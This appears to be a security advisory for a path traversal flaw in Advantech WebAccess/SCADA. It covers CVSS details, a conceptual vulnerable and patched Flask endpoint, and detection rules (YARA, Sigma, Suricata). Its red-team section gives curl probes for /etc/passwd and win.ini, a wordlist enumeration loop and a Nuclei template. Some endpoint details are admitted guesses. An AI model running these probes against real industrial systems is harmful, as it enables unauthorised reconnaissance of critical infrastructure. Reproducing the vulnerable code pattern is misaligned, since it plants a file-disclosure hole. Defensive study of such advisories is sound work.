CVE-2025-67653

Executive Summary

CVE-2025-67653 is a directory traversal vulnerability in Advantech WebAccess/SCADA, a widely used industrial control system (ICS) platform. The flaw allows an unauthenticated attacker to determine the existence of arbitrary files on the target system by manipulating file path parameters. While the CVSS score is 4.3 (Medium), the real-world risk is elevated in OT/ICS environments where confidentiality of configuration files, credentials, and system maps is critical. No public exploit code or proof-of-concept is currently available, but the vulnerability is trivially exploitable with basic HTTP requests. No patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary SCADA software package distributed directly by Advantech. Organizations should verify the integrity of their Advantech WebAccess installations and monitor for any unofficial patches or workarounds.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited file existence disclosure.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the direct impact is limited to file existence checks, this information can be used to map the filesystem, identify sensitive files (e.g., web.config, passwd, *.db), and plan further attacks.

Deep Dive & Mechanics

The vulnerability resides in the Advantech WebAccess/SCADA web interface, likely in a file retrieval or resource loading endpoint. The application fails to properly sanitize user-supplied input used in file path construction. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the intended web root directory.

Example vulnerable endpoint:
GET /webaccess/../../windows/win.ini or GET /webaccess/../../../etc/passwd

The server responds with a different status code or response length depending on whether the file exists, enabling an oracle attack. This is a classic CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

Attack Flow:

1. Attacker identifies a parameter that accepts a file path (e.g., file=, template=, log=).
2. Attacker injects ../ sequences to traverse directories.
3. Server returns a 200 OK if the file exists, or a 404/error if it does not.
4. Attacker maps the filesystem and identifies sensitive files.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

# Python example of vulnerable endpoint
@app.route('/getfile')
def get_file():
    filename = request.args.get('file')
    # No sanitization
    filepath = os.path.join('/var/www/webaccess/', filename)
    if os.path.exists(filepath):
        return send_file(filepath)
    else:
        return "File not found", 404

Patched Code (Conceptual):

# Patched version with path validation
import os

ALLOWED_DIR = '/var/www/webaccess/'

@app.route('/getfile')
def get_file():
    filename = request.args.get('file')
    # Sanitize: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = os.path.join(ALLOWED_DIR, safe_filename)
    # Ensure the resolved path is within the allowed directory
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(ALLOWED_DIR)):
        return "Invalid path", 403
    if os.path.exists(real_path):
        return send_file(real_path)
    else:
        return "File not found", 404

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Advantech WebAccess/SCADA (any version) running on Windows or Linux.
• Attacker: Kali Linux with Burp Suite or curl.

Manual Exploitation:

# Check if /etc/passwd exists (Linux target)
curl -v "http://target:port/webaccess/../../../etc/passwd"

# Check if win.ini exists (Windows target)
curl -v "http://target:port/webaccess/../../../windows/win.ini"

# Use a wordlist to enumerate files
while read file; do
  response=$(curl -s -o /dev/null -w "%{http_code}" "http://target:port/webaccess/../../../$file")
  if [ "$response" == "200" ]; then
    echo "File exists: $file"
  fi
done < wordlist.txt

Automated Scanning with Nuclei (if template existed):

# Example Nuclei template (not provided, but structure shown)
id: CVE-2025-67653
info:
  name: Advantech WebAccess Directory Traversal
  severity: medium
requests:
  - method: GET
    path:
      - "{{BaseURL}}/webaccess/../../../etc/passwd"
    matchers:
      - type: word
        words:
          - "root:"

Blue Team (Defensive)

Detection & Prevention:

• Monitor web server logs for ../ or %2e%2e%2f patterns in request URIs.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal sequences.
• Restrict file system permissions so the web server user cannot read sensitive files.
• Use a reverse proxy to validate and sanitize all file path parameters.

Honeypot Strategy:

• Create fake sensitive files (e.g., /etc/shadow, passwords.txt) that trigger alerts when accessed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../, ..\\, %2e%2e%2f, or %2e%2e%5c.
  • Repeated 200 responses for paths like /../../../etc/passwd.
  • Unusual file paths in GET/POST parameters (e.g., file=../../../windows/win.ini).

• File System IOCs:

  • Unexpected access to files outside the web root (e.g., /etc/shadow, C:\Windows\System32\config\SAM).
  • Modified timestamps on sensitive files.

• Log IOCs:

  • Web server logs showing directory traversal attempts.
  • Error logs with "File not found" for paths containing ...

Detection Engineering

YARA Rule

rule CVE_2025_67653_Advantech_WebAccess_DirTraversal {
    meta:
        description = "Detects directory traversal attempts against Advantech WebAccess/SCADA"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67653"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $traversal4 = "%2e%2e%5c" ascii wide nocase
        $webaccess = "webaccess" ascii wide nocase
    condition:
        any of ($traversal*) and $webaccess
}

Sigma Rule

title: Advantech WebAccess Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Advantech WebAccess
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: 'webaccess'
    condition: selection
falsepositives:
    - Legitimate use of '..' in application logic (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67653 Advantech WebAccess Directory Traversal"; flow:to_server,established; content:"webaccess"; http_uri; nocase; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Advantech WebAccess server from the internet and untrusted networks.
2. Apply a virtual patch using a WAF or reverse proxy to block path traversal patterns.
3. Monitor logs for exploitation attempts and respond to alerts.

Long-Term Fixes:

• Contact Advantech support for an official patch or workaround.
• Implement input validation and canonicalization for all file path parameters.
• Run the web server with the least privileges necessary (e.g., use a dedicated low-privilege account).
• Conduct a full security audit of the WebAccess installation.

Workaround (if patching is not possible):

• Modify the web server configuration to deny requests containing ../ or ..\\ in the URI.
• Use a reverse proxy (e.g., Nginx) with the following rule:

location /webaccess {
    if ($args ~* "\.\.") {
        return 403;
    }
}

Valters IT
Securing Industrial Control Systems, One CVE at a Time.